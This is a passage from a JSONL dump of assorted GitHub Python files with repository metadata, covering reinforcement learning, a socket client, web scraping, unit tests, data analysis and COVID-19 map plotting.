max_retailprice):\n            max_retailprice = part.retailprice\n            max_part = part\n\n    return max_part\n\n\ndef find_duplicates(parts):\n    duplicates=[]\n    while parts:\n        part = parts.pop()\n        if part in parts:\n            duplicates.append(part)\n    \n    return duplicates\n\n\ndef profile(fnc):\n    \"\"\"A decorator that uses cProfile to profile a function\"\"\"\n\n    def inner(*args, **kwargs):\n\n        pr = cProfile.Profile()\n        pr.enable()\n        retval = fnc(*args, **kwargs)\n        pr.disable()\n        s = io.StringIO()\n        sortby = 'cumulative'\n        ps = pstats.Stats(pr, stream=s).sort_stats(sortby)\n        ps.print_stats()\n        print(s.getvalue())\n        return retval\n\n    return inner\n\n@profile\ndef main():\n    # filename = sys.stdin.read()\n    parser = argparse.ArgumentParser(description='Example Program')\n\n    parser.add_argument('--filename', type=str, default='./datasets/part.tbl',\n                           help='use the correct input file.')\n\n    args = parser.parse_args()\n\n    lines = read_lines(args.filename)\n    values = parse_lines(lines)\n    converted_results = convert_toNumbers(values)\n\n    # print(converted_results[0])\n    parts = convert_to_parts(converted_results)\n    # print(parts[0].retailprice)\n\n    max_part = find_max_price(parts)\n    print(max_part)\n\n    duplicates = find_duplicates(parts)\n    for part in duplicates:\n        print(part)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"kiat/Elements-of-Software-Design","sub_path":"example_025_python_profiling_parts.py","file_name":"example_025_python_profiling_parts.py","file_ext":"py","file_size_in_byte":4299,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"77"}
+{"seq_id":"36468248697","text":"import numpy as np\nimport theano\nimport theano.tensor as T\n\nimport lasagne\n\ndef make_network(settings):\n    last_layer = lasagne.layers.InputLayer(\n                shape=(None, settings['input_length'], settings['phi_length']),\n            )\n\n    for num_units in settings['layers']:\n        last_layer = lasagne.layers.DenseLayer(\n                last_layer,\n                num_units=num_units,\n                nonlinearity=lasagne.nonlinearities.rectify,\n                W=lasagne.init.GlorotNormal(gain='relu'),\n                b=lasagne.init.Constant(0.1)\n            )\n    \n    l_out = lasagne.layers.DenseLayer(\n            last_layer,\n            num_units=settings['num_actions'],\n            W=lasagne.init.HeUniform(),\n            b=lasagne.init.Constant(0.1)\n        )\n\n    return l_out\n\n\nclass Model(object):\n    def __init__(self, settings):\n        self.settings = settings\n\n        observation = T.tensor3('observation')\n        next_observation = T.tensor3('next_observation')\n        rewards = T.col('rewards')\n        actions = T.icol('actions')\n        terminals = T.icol('terminals')\n\n        self.observation = theano.shared(np.zeros(\n            (settings['batch_size'],\n             settings['phi_length'],\n             settings['input_length'],\n             ),\n             dtype=theano.config.floatX))\n\n        self.next_observation = theano.shared(np.zeros(\n            (settings['batch_size'],\n             settings['phi_length'],\n             settings['input_length'],\n             ),\n             dtype=theano.config.floatX))\n\n        self.rewards = theano.shared(np.zeros(\n            (settings['batch_size'], 1), dtype=theano.config.floatX),\n            broadcastable=(False, True))\n\n        self.actions = theano.shared(np.zeros(\n            (settings['batch_size'], 1), dtype='int32'),\n            broadcastable=(False, True))\n\n        self.terminals = theano.shared(np.zeros(\n            (settings['batch_size'], 1), dtype='int32'),\n            broadcastable=(False, True))\n\n        self.q_network = make_network(settings)\n        self.target_network = make_network(settings)\n\n        scores = lasagne.layers.get_output(self.q_network, observation)\n        target_scores = theano.gradient.disconnected_grad(\n                lasagne.layers.get_output(self.target_network, next_observation)\n            )\n\n        future_rewards = settings['discount'] * T.max(target_scores, axis=1, keepdims=True)\n        future_rewards = future_rewards * (T.ones_like(terminals) - terminals)\n        target = rewards + future_rewards\n        diff = target - scores[T.arange(settings['batch_size']), actions.reshape((-1,))].reshape((-1, 1))\n        loss = T.mean(diff ** 2)\n\n        loss += lasagne.regularization.regularize_network_params(self.q_network, lasagne.regularization.l2) * settings['l2_regularisation']\n\n        params = lasagne.layers.helper.get_all_params(self.q_network)\n        #updates = lasagne.updates.rmsprop(loss, params, settings['rms_learning_rate'],\n        #        settings['rms_decay'], settings['rms_epsilon'])\n\n        updates = lasagne.updates.sgd(loss, params, settings['sgd_learning_rate'])\n\n        self._train = theano.function([], [loss, scores], updates=updates,\n                givens = {observation: self.observation,\n                          next_observation: self.next_observation,\n                          rewards: self.rewards,\n                          actions: self.actions,\n                          terminals: self.terminals\n                         })\n\n        self._predict = theano.function([], scores, givens={observation: self.observation})\n\n        self.counter = 0\n\n    def update_target_network(self):\n        lasagne.layers.helper.set_all_param_values(\n            self.target_network,\n            lasagne.layers.helper.get_all_param_values(\n                self.q_network\n            )\n        )\n\n    def predict(self, observation):\n        observations = np.zeros(\n                (self.settings['batch_size'], self.settings['input_length'], self.settings['phi_length']),\n                dtype=theano.config.floatX)\n        observations[0, ...] = observation\n        self.observation.set_value(observations)\n        return self._predict()[0]\n\n    def act(self, observation, epsilon):\n        if np.random.rand() < epsilon:\n            return np.random.randint(0, self.settings['num_actions'])\n\n        predictions = self.predict(observation)\n        return np.argmax(predictions)\n\n    def train(self, observation, next_observation, actions, rewards, terminals):\n        self.observation.set_value(observation)\n        self.next_observation.set_value(next_observation)\n        self.actions.set_value(actions)\n        self.rewards.set_value(rewards)\n        self.terminals.set_value(terminals)\n\n        if self.counter % self.settings['target_update_frequency'] == 0:\n            self.update_target_network()\n\n        self.counter += 1\n\n        loss, _ = self._train()\n        return np.sqrt(loss)\n","repo_name":"amharc/jnp3","sub_path":"dqn/theano/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26777690366","text":"# -*- coding: utf-8 -*-\n# 客户端\nimport socket\n\n\nclientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclientsocket.connect(('127.0.0.1', 8000))\nwhile True:\n    print('client here')\n    data = input('reply >>')\n    clientsocket.send(data.encode())\n    if not data:\n        break\n    newdata = clientsocket.recv(1024)\n    print('Received: ', repr(newdata.decode()))\nclientsocket.close()\n","repo_name":"hjl092868/new2022","sub_path":"about_socket/define_socket_client.py","file_name":"define_socket_client.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22772826436","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\nclass Solution:\n    def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n        if not head:\n            return\n        dummyHead = ListNode()\n        dummyHead.next = head\n        fast, slow = dummyHead, dummyHead\n\n        while n > 0 and fast != None:\n            fast = fast.next\n            n -= 1\n        fast = fast.next\n\n        while fast:\n            slow = slow.next\n            fast = fast.next\n\n        slow.next = slow.next.next\n\n        return dummyHead.next\n","repo_name":"wangcong26/leetcode_python","sub_path":"a03_linked_list/a03b_SingleLinkedList/Leetcode_19_RemoveNthNodeFromEndOfList.py","file_name":"Leetcode_19_RemoveNthNodeFromEndOfList.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35193535592","text":"from datasets.dataset_dict import DatasetDict\nfrom transformers import AutoTokenizer, DataCollatorForLanguageModeling\n\n\ndef tokenize(dataset: DatasetDict, tokenizer: AutoTokenizer):\n    \"\"\"Tokenize the dataset.\"\"\"\n\n    def tokenize_function(row):\n        EOS = tokenizer.eos_token\n        return tokenizer(f\"{row['hate_speech']}{EOS}{row['counter_speech']}{EOS}\")\n\n    return dataset.map(\n        tokenize_function,\n        remove_columns=[\"hate_speech\", \"counter_speech\"],\n    )\n\n\nclass DCForDialog(DataCollatorForLanguageModeling):\n    \"\"\"To train the language model only on the response by masking the context.\"\"\"\n\n    def __call__(self, batch):\n        batch = super().__call__(batch)\n        labels = batch[\"labels\"]\n\n        for i in range(len(labels)):\n            eos_eoc = labels[i].tolist().index(self.tokenizer.eos_token_id)\n            labels[i, : eos_eoc + 1] = -100\n\n        return batch\n","repo_name":"0xrutvij/counterspeech","sub_path":"counterspeech/models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25426893528","text":"\"\"\"\nWritten by KrishPro @ KP\n\nThis file'll contain the training loop\n\"\"\"\n\nfrom tqdm import tqdm\nimport time\nfrom torch.utils.tensorboard import SummaryWriter\nfrom typing import Generator\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nfrom data import create_batch\n\nfrom model import Transformer\n\nVOCAB_SIZE = 13\nSEQ_LEN = 10\nD_MODEL = 512\nNHEAD = 8\nLEARNING_RATE = 1e-4\nDROPOUT = 0.2\nFFN_HID_DIM = 512 * 4\nBATCH_SIZE = 32\nNUM_ENCODER_LAYERS = 6\nNUM_DECODER_LAYERS = 6\n\ndef create_optimizer(params: Generator, learning_rate: float) -> tuple[optim.Adam, nn.CrossEntropyLoss]:\n    optimizer = optim.Adam(params, lr=learning_rate, betas=(0.9, 0.98), eps=1e-9)\n    criterion = nn.CrossEntropyLoss()\n    return optimizer, criterion\n\ndef setup_tensorboard():\n    writer = SummaryWriter(f\"runs/{time.time()}\")\n    return writer, 0\n\ndef train_step(transformer: Transformer, optimizer: optim.Adam, criterion: nn.CrossEntropyLoss, device=\"cpu\"):\n    src, tar = create_batch(BATCH_SIZE, SEQ_LEN, device)\n    T, N = tar.shape\n\n    tar_input = tar[:-1]\n    assert tar_input.shape == (T-1, N)\n    model_output: torch.Tensor = transformer(src, tar_input)\n    assert model_output.shape == (T-1, N, VOCAB_SIZE)\n\n    model_output = model_output.view((T-1)*N, VOCAB_SIZE)\n    tar_output = tar[1:].reshape((T-1)*N)\n\n    loss: torch.Tensor = criterion(model_output, tar_output)\n\n    optimizer.zero_grad()\n    loss.backward()\n    optimizer.step()\n\n    return loss.item()\n\ndef main():\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    # device = torch.device(\"cpu\")\n\n    transformer = Transformer(D_MODEL, VOCAB_SIZE, NHEAD, NUM_ENCODER_LAYERS, NUM_DECODER_LAYERS, FFN_HID_DIM, DROPOUT).to(device)\n    optimizer, criterion = create_optimizer(transformer.parameters(), LEARNING_RATE)\n\n    writer, global_step = setup_tensorboard()\n\n    def save_checkpoint(transformer: Transformer):\n        torch.save(transformer.state_dict(), \"checkpoints/latest.pth\")\n\n    i = 0\n    while True:\n        loss = train_step(transformer, optimizer, criterion, device=device)\n        writer.add_scalar(\"loss\", loss, global_step=global_step)\n        global_step += 1\n        if i % 5 == 0:\n            print(f\"Trainning...{i:05d}\", end=\"\\r\")\n        if i % 100 == 0:\n            save_checkpoint(transformer)\n\n        i += 1\n \nif __name__ == '__main__':\n    main()","repo_name":"KrishPro/Reverse-Seqs","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42473488037","text":"from django.db.models.query_utils import subclasses\nfrom django.shortcuts import render, redirect\n\nimport requests\nfrom bs4 import BeautifulSoup as BSoup\nfrom news.models import Headline\n\nrequests.packages.urllib3.disable_warnings()\n\nkeywords = ['student', 'study', 'infrastructure', 'covid', 'mario', 'ranger']\n\ndef news_list(request):\n    headlines = Headline.objects.all()\n    context = {\n        'object_list':headlines,\n    }\n    return render(request, \"home.html\", context)\n\ndef scrape(request):\n    session = requests.Session()\n    session.headers = {\"User-Agent\": \"Googlebot/2.1 (+http://www.google.com/bot.html)\"}\n    url = \"https://www.theonion.com/\"\n    content = session.get(url, verify=False).content\n    soup = BSoup(content, \"html.parser\")\n    News = soup.select(\"article.sc-1pw4fyi-5.hgZOhx.js_post_item\")\n    print(\"Total articles collected: \"+str(len(News)))\n\n    Headline.objects.all().delete()\n    filtered = 0\n\n    for article in News:\n        main = article.find_all('a')[0]\n        image = main.find('img')\n        title = article.find_all('h4')[0].contents[0]\n        link = main['href']\n        image_src = \"\"\n        if image is not None:\n            if image.has_attr('srcset'):\n                image_src = str(image['srcset']).split(\" \")[16]\n            elif image.has_attr('data-srcset'):\n                image_src = str(image['data-srcset']).split(\" \")[16]\n\n        new_headline = Headline()\n        new_headline.title = title\n        new_headline.url = link\n        new_headline.image = image_src\n        b = False\n        for word in keywords:\n            if word.lower() in title.lower():\n                b = True\n        if b:\n            new_headline.save()\n            filtered += 1\n    print(\"Filtered articles: \"+str(filtered))\n        \n    return redirect(\"/\")","repo_name":"Saksham-Katiyar/News-Aggregator","sub_path":"news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13097318763","text":"import unittest\nimport numpy as np\n\nfrom phd.mesh.mesh import Mesh\nfrom phd.domain.domain_manager import DomainManager\nfrom phd.containers.containers import CarrayContainer\nfrom phd.utils.particle_creator import HydroParticleCreator\nfrom phd.reconstruction.reconstruction import PieceWiseConstant, PieceWiseLinear\n\nfrom phd.riemann.riemann import RiemannBase\n\nclass TestPieceWiseConstant(unittest.TestCase):\n    \"\"\"Tests for the constant reconstruction class.\"\"\"\n\n    def setUp(self):\n\n        # setup particles and reconstruction class\n        self.particles = HydroParticleCreator(num=2, dim=2)\n        self.recon = PieceWiseConstant()\n\n    def test_add_fields(self):\n        particles = CarrayContainer(1, {\"wrong_type\": \"int\"})\n\n        # error for no primitive and velocity named group\n        self.assertRaises(RuntimeError,\n                self.recon.add_fields, particles)\n\n    def test_initialize(self):\n        # fields not registered\n        self.assertRaises(RuntimeError, self.recon.initialize)\n\n        self.recon.add_fields(self.particles)\n        self.recon.initialize()\n\n        # check for left state primitive fields\n        self.assertItemsEqual(\n                self.recon.left_states.carray_named_groups[\"primitive\"],\n                self.particles.carray_named_groups[\"primitive\"])\n        self.assertItemsEqual(\n                self.recon.left_states.carray_named_groups[\"velocity\"],\n                self.particles.carray_named_groups[\"velocity\"])\n\n        # check for right primitive fields\n        self.assertItemsEqual(\n                self.recon.right_states.carray_named_groups[\"primitive\"],\n                self.particles.carray_named_groups[\"primitive\"])\n        self.assertItemsEqual(\n                self.recon.right_states.carray_named_groups[\"velocity\"],\n                self.particles.carray_named_groups[\"velocity\"])\n\n    def test_compute_states(self):\n\n        # create 2 particles with constant values\n        for field in self.particles.carray_named_groups[\"primitive\"]:\n            self.particles[field][:] = 1.0\n\n        self.recon.add_fields(self.particles)\n        self.recon.initialize()\n\n        # domain manager\n        domain_manager = DomainManager(0.2)\n\n        # create mesh \n        mesh = Mesh()\n        mesh.register_fields(self.particles)\n        mesh.initialize()\n\n        # hard code mesh faces (1 face)\n        mesh.faces.resize(1)\n        mesh.faces[\"pair-i\"][0] = 0  # left particle\n        mesh.faces[\"pair-j\"][0] = 1  # right particle\n\n        # construct left/right faces\n        self.recon.compute_states(self.particles, mesh, False,\n                domain_manager, dt=1.0)\n\n        # left and right states should be the same\n        for field in self.recon.left_states.carrays.keys():\n            self.assertAlmostEqual(self.recon.left_states[field][0],\n                    self.particles[field][0])\n\n            self.assertAlmostEqual(self.recon.right_states[field][0],\n                    self.particles[field][1])\n\nclass TestPieceWiseLinear(TestPieceWiseConstant):\n    \"\"\"Tests for the lineaer reconstruction class.\"\"\"\n\n    def setUp(self):\n\n        # setup particles and reconstruction class\n        self.particles = HydroParticleCreator(num=2, dim=2)\n        self.recon = PieceWiseLinear()\n\n    def test_compute_states(self):\n        self.assertTrue(True)\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"rickyfernandez/phd-code","sub_path":"phd/reconstruction/test/test_reconstruction.py","file_name":"test_reconstruction.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"29093519498","text":"#!/usr/bin/env python3\nclass SelectionBranch:\n    \"\"\"_summary_\n    \"\"\"    \n    def __init__(self, question):\n        \"\"\"_summary_\n\n        Args:\n            question (_type_): _description_\n        \"\"\"\n        self.question = question\n        self.options = []\n\n    def pretty_print_options(self):\n        \"\"\"_summary_\n        \"\"\"        \n        for option in self.options: # For each option stored in the object.\n            print(\"  \"+option[0]+\"  -  \"+option[1]+\" : \"+option[2])\n\n    def run(self):\n        \"\"\"_summary_\n        \"\"\"        \n        mu_symbol = '\\u00B5'\n        print(\"\\n\"+mu_symbol+\":! \"+self.question+\"\\n\")\n        if len(self.options) > 0:\n            self.pretty_print_options() # Pretty print options.\n            print(\"\")\n\n        user_input = input(\"  > \") # Takes in user input.\n        print(\"\") # Prints a newline.\n        for option in self.options: # For each option stored in the object.\n            if user_input == option[0]: # For whichever option is selected run its counterpart routine.\n                if len(option) == 5: # If the function that is passed needs an accompanying input.\n                    option[3](option[4]) # Execute the function (4th element) with the input passed into it (5th element).\n                elif len(option) == 4:\n                    option[3]() # Execute routine.\n                else:\n                    pass\n\n\n","repo_name":"spacetimeengineer/mupy","sub_path":"mupy/mucli/selection_branch.py","file_name":"selection_branch.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"15916511458","text":"import subprocess\nimport os\nimport shutil\nfrom utils import logger\n\n\ndef wrapperVerba(param):\n\tpass\n\t# proc = subprocess.Popen(\"wrapperVerba.exe\", shell=True, stdout=subprocess.PIPE)\n\t# return proc.stdout.readlines()\n\ndef ShellExecute(name, param):\n\tproc = subprocess.Popen(name, shell=True, stdout=subprocess.PIPE)\n\treturn proc.stdout.readlines()\n\ndef run(file, task, log, direction):\n\t\"\"\" run method interpretator \"\"\"\n\t\n\tif direction == 'in':\n\t\tline = task.command_in\n\telif direction == 'out':\n\t\tline = task.command_out\n\t\n\tlineList = line.split(';')\n\tfor command in lineList:\n\n\t\t#\n\t\t# verba\n\t\t# \n\t\t\n\t\tif command == 'LOADKEY_1':\n\t\t\twrapperVerba('LOADKEY_1')\n\t\telif command == 'LOADKEY_2':\n\t\t\twrapperVerba('LOADKEY_2')\n\t\telif command == 'SIGN_1':\n\t\t\twrapperVerba('file,NUM_KEY1,SERIA1') # !!!\n\t\telif command == 'SIGN_2':\n\t\t\twrapperVerba('')\n\t\telif command == 'DELSIGN':\n\t\t\twrapperVerba('DELSIGN')\n\t\telif command == 'RESETKEY_1':\n\t\t\twrapperVerba('RESETKEY_1 NUM_KEY1 + SERIA1')  # !!!\n\t\telif command == 'RESETKEY_2':\n\t\t\twrapperVerba('RESETKEY_2 NUM_KEY2 + SERIA2') # !!!\n\t\telif command == 'CRYPT_1(KLIKO)':\n\t\t\twrapperVerba('CRYPT_1(KLIKO) file NUM_KEY1,SERIA1,kliko') # !!!\n\t\telif command == 'CRYPT_2(FTS)':\n\t\t\twrapperVerba('CRYPT_2(FTS) file, NUM_KEY2,SERIA2,fts') # !!!\n\t\telif command == 'DECRYPT':\n\t\t\twrapperVerba('DECRYPT fl,NUM_KEY2)')\n\t\telif command == 'DECRYPT1':\n\t\t\twrapperVerba('DECRYPT1 fl,NUM_KEY1)')\n\n\t\t#\t\n\t\t# os\n\t\t# \n\n\t\telif not command.find('MOVE_IN', 0) == -1:\n\n\t\t\tshutil.move(file, task.target)\n\t\t\tlogger.logs(log, \"MOVE_IN: \" + file + \" \" + task.target)\n\n\t\telif not command.find('MOVE_OUT', 0) == -1:\n\n\t\t\tshutil.move(file, task.path_out)\n\t\t\tlogger.logs(log, \"MOVE_OUT: \" + file + \" \" + task.path_out)\n\n\t\telif not command.find('ARCHIVE_IN', 0) == -1:\n\n\t\t\tshutil.copy(file, os.path.join(task.archive,'in'))\n\t\t\tlogger.logs(log, \"ARCHIVE_IN: \" + file + \" \" + os.path.join(task.archive,'in'))\n\n\t\telif not command.find('ARCHIVE_OUT', 0) == -1:\t\t\t\n\n\t\t\tshutil.copy(file, os.path.join(task.archive,'out'))\n\t\t\tlogger.logs(log, \"ARCHIVE_OUT: \" + file + \" \" + os.path.join(task.archive,'out'))\n\n\n\n\t\telif not command.find('SCRIPT', 0) == -1:\n\t\t\tpass\n\n\t\t\t# ShellExecute(script_name)","repo_name":"yohannGasp/CentralBank","sub_path":"run/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38229353988","text":"import os\nimport json\nfrom scipy import spatial\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom config import *\n\n\ndef main():\n    # Make analysis directory\n    if not os.path.exists(analysis_folder):\n        os.mkdir(analysis_folder)\n    if not os.path.exists(method_comparison_plots_folder):\n        os.mkdir(method_comparison_plots_folder)\n    method_sim_values = []\n    # Loop through parameters and load corresponding result file\n    for n in v_counts:\n        for d in graph_densities:\n            for t in graph_types:\n                for w in max_edge_weights:\n                    print(\"-\" * 10)\n                    print(\"v_count    :\", n)\n                    print(\"density    :\", d)\n                    print(\"type       :\", t)\n                    print(\"max_weight :\", w)\n                    res = load_sim_results(n, d, t, w)\n                    a = make_arrays(res)\n                    method_sim = compute_method_similarity(a)\n                    method_sim_values.append({\n                        \"v_count\": n,\n                        \"density\": d,\n                        \"g_type\": t,\n                        \"max_weight\": w,\n                        \"method_similarity\": method_sim\n                    })\n                    scatterplot(n, d, t, w, a)\n    # Save analysis results\n    # save_analysis(method_sim_values)\n\n\ndef load_sim_results(n, d, t, w):\n    f_title = str(n) + \"_\" + d + \"_\" + t + \"_\" + str(w)\n    file_path = result_folder + f_title + \".json\"\n    print(\"Loading : \" + file_path, end=\" . . . \")\n    with open(file_path) as f:\n        data = json.load(f)\n    print(\"Done !\")\n    return data\n\n\ndef make_arrays(d):\n    # Extract method names stored in d\n    # (keys are of type method and method_time)\n    methods = [k for k in d[\"0\"][\"0\"][\"method\"]]\n    # Make a dictionary containing sim_val array for each method\n    sim_val = {x:[] for x in methods}\n    # Loop through each graph pair result and methods for that pair\n    for i in d:\n        for j in d[i]:\n            for k in d[i][j][\"method\"]:\n                sim_val[k].append(d[i][j][\"method\"][k])\n    return sim_val\n\n\ndef compute_method_similarity(a):\n    methods = [k for k in a]\n    method_sim = []\n    for i in range(len(methods)):\n        for j in range(i+1, len(methods)):\n            x, y = methods[i], methods[j]\n            val = 1 - spatial.distance.cosine(a[x], a[y])\n            method_sim.append((x, y, val))\n            print(\"Method '\" + x + \"' vs '\" + y + \"' :\", val)\n    return method_sim\n\n\ndef save_analysis(results):\n    file = analysis_folder + \"method_agreement_analysis.json\"\n    print(\"Saving : \" + file, end=\" . . . \")\n    with open(file, 'w') as f:\n        f.write(json.dumps(results))\n    print(\"Done !\\n\")\n\n\ndef scatterplot(n, d, t, w, a):\n    labels = [k for k in a]\n    colors = [\"crimson\", \"purple\", \"green\", \"red\", \"blue\"]\n    data = np.array([a[x] for x in labels])\n    width = 0.4\n    fig, ax = plt.subplots()\n    for i, l in enumerate(labels):\n        x = np.ones(data.shape[1])*i + (np.random.rand(data.shape[1])*width-width/2.)\n        ax.scatter(x, data[i,:], color=colors[i], s=1)\n        mean = data[i,:].mean()\n        ax.plot([i-width/2., i+width/2.],[mean,mean], color=\"k\")\n    ax.set_xticks(range(len(labels)))\n    ax.set_xticklabels(labels)\n    f_name = str(n) + \"_\" + d + \"_\" + t + \"_\" + str(w) + \".png\"\n    file_path = method_comparison_plots_folder + f_name\n    plt.savefig(file_path, bbox_inches='tight')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"nitish6174/graph-similarity-joins","sub_path":"method_agreement_analysis.py","file_name":"method_agreement_analysis.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40294327158","text":"valor1 = None\nvalor2 = None\nvalor3 = None\nlista = None\n\ndef read_line():\n  try:\n    # read for Python 2.x\n    return raw_input()\n  except NameError:\n    # read for Python 3.x\n    return input()\n\nlista = read_line().split(\" \")\nvalor1 = int(lista[0])\nvalor2 = int(lista[1])\nvalor3 = int(lista[2])\n\nif valor1 > valor2 and valor1 > valor3:\n\tprint(str(valor1) + \" eh o maior\")\nelif valor2 > valor3:\n\tprint(str(valor2) + \" eh o maior\")\nelse:\n\tprint(str(valor3) + \" eh o maior\")","repo_name":"eduardo-mior/URI-Online-Judge-Solutions","sub_path":"Iniciante/URI 1013.py","file_name":"URI 1013.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"pt","doc_type":"code","stars":306,"dataset":"github-code","pt":"77"}
+{"seq_id":"30140090947","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nAuthor: Arka Mitra\r\n20th March 2020, 4:00pm, \r\nChampaign, Illinois, USA\r\n\r\nData is sourced from:  \r\nCenter for Systems Science and Engineering (JHU CSSE).\r\nJohns Hopkins University, freely availbale on GitHub.\r\nhttps://github.com/CSSEGISandData/COVID-19\r\n\"\"\"\r\n\r\nimport io\r\nimport csv\r\nimport glob\r\nimport datetime\r\nimport plotly\r\nimport imageio\r\nimport pandas as pd\r\nimport numpy as np\r\nimport urllib.request\r\nimport plotly.express as px\r\nimport matplotlib.pyplot as plt\r\nfrom plotly.offline import plot\r\nfrom datetime import date, timedelta\r\nimport plotly.graph_objects as go\r\n\r\n\r\ndef get_data_from_CSSE_Github(date):\r\n    covid19_daily_data_url = \"https://github.com/CSSEGISandData/COVID-19/raw/master/csse_covid_19_data/csse_covid_19_daily_reports/\"\r\n    url = covid19_daily_data_url+str(date)+\".csv\"\r\n    covid_data = pd.read_csv(url, header=0, keep_default_na=False, na_values={\"Province/State\" : \"foo\"})\r\n#    without_provinces = covid_data[covid_data['Province/State'] == '']\r\n#    with_provinces = covid_data[covid_data['Province/State'] != '']\r\n#    country_with_provinces = np.unique(with_provinces['Country/Region'])\r\n#    country_without_provinces = np.unique(without_provinces['Country/Region'])\r\n    return covid_data\r\n\r\ndef plot_frame_from_data(covid_data, d):\r\n    limits = [(0,1),(1,5),(5,10),(10,50),(50,100),(100,200),(200,1000)]\r\n    #colors = [\"seagreen\",\"yellow\",\"orange\",\"orangered\",\"red\",\"crimson\",\"darkred\"]\r\n    colors = [\"darkred\",\"crimson\",\"red\",\"orangered\",\"orange\",\"yellow\",\"seagreen\"]\r\n    fig = go.Figure(go.Scattergeo())\r\n    fig.update_geos(\r\n        visible=False, resolution=50,showland=True,\r\n        showocean=True,bgcolor=\"lightgrey\",\r\n        landcolor=\"grey\",oceancolor=\"lightblue\",\r\n        showcountries=True, countrycolor=\"black\"\r\n    )\r\n    #fig.update_layout(height=300, margin={\"r\":0,\"t\":0,\"l\":0,\"b\":0})\r\n    for i in range(len(limits)):\r\n        lim = limits[i]\r\n        df_sub = covid_data[lim[0]:lim[1]]\r\n        fig.add_trace(go.Scattergeo(\r\n            lon = df_sub['Longitude'],\r\n            lat = df_sub['Latitude'],\r\n#            text = df_sub['Country/Region']+', '+df_sub['Province/State']+ \r\n#            '<br>Confirmed cases = '+df_sub['Confirmed'].astype(str)+\r\n#            '<br>Fatal cases = '+df_sub['Deaths'].astype(str)+\r\n#            '<br>Recovery cases = '+df_sub['Recovered'].astype(str),\r\n#            text = 'by @mitraarka27 (Arka Mitra); credit: JHU CSSE GitHub',\r\n#            textposition = 'bottom right',\r\n            marker = dict(\r\n                size = df_sub['Confirmed']/10,\r\n                color = colors[i],\r\n                line_color='rgb(40,40,40)',\r\n                line_width=0.5,\r\n                sizemode = 'area'\r\n            ),\r\n            name = '{0} - {1}'.format(lim[0],lim[1])))\r\n    fig.update_layout(title_text = 'Relative spread of COVID-19 Infections by Country/Region'+\r\n                      '<br>Date : '+datetime.datetime.strptime(d,'%m-%d-%Y').strftime('%B %d, %Y'),\r\n                      legend_title='<b> People affected </b>',\r\n            showlegend = False,\r\n            geo = dict(\r\n                scope = 'world',\r\n                landcolor = 'rgb(217, 217, 217)',\r\n            ),\r\n        annotations=[\r\n            go.layout.Annotation(\r\n                text='by @mitraarka27 (Arka Mitra); credit: JHU CSSE GitHub',\r\n                align='left',\r\n                showarrow=False,\r\n                xref='paper',\r\n                yref='paper',\r\n                x=1.,\r\n                y=0.,\r\n                bordercolor='black',\r\n                borderwidth=1\r\n        )]\r\n      )      \r\n#    plot(fig)\r\n    fig.write_image('COVID19_'+str(d)+'.jpeg')\r\n    \r\nimages=[]\r\nstart_date = date(2020, 3, 1)\r\nend_date = date(2020, 3, 19)\r\ndelta = timedelta(days=1)\r\nwhile start_date <= end_date:\r\n    print (start_date.strftime(\"%m-%d-%Y\"))\r\n    covid_data = get_data_from_CSSE_Github(start_date.strftime(\"%m-%d-%Y\"))\r\n    plot_frame_from_data(covid_data, start_date.strftime(\"%m-%d-%Y\"))\r\n    images.append(imageio.imread('COVID19_'+str(start_date.strftime(\"%m-%d-%Y\"))+'.jpeg'))\r\n    start_date += delta\r\nimageio.mimsave('COVID19_global_spread_ts.gif', images , fps=0.8)\r\n","repo_name":"mitraarka27/COVID_19_analysis","sub_path":"COVID_viz_global_map.py","file_name":"COVID_viz_global_map.py","file_ext":"py","file_size_in_byte":4211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
